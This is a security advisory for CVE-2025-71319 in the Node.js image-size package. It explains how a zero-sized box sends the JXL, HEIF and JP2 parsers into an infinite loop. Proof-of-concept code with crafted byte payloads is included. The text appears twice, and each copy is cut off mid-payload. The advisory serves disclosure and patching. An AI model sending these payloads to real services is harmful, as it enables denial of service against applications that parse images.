CVE-2025-71319

image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.

image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

• https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
• https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts

PoC

Usage:

node main.js poc1|poc2

• poc for [email protected]

// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "…

image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.

image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

• https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
• https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts

PoC

Usage:

node main.js poc1|poc2

• poc for [email protected]

// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "…

Root has patched CVE-2025-71319 in the image-size package for Root:npm. Multiple fixed versions available.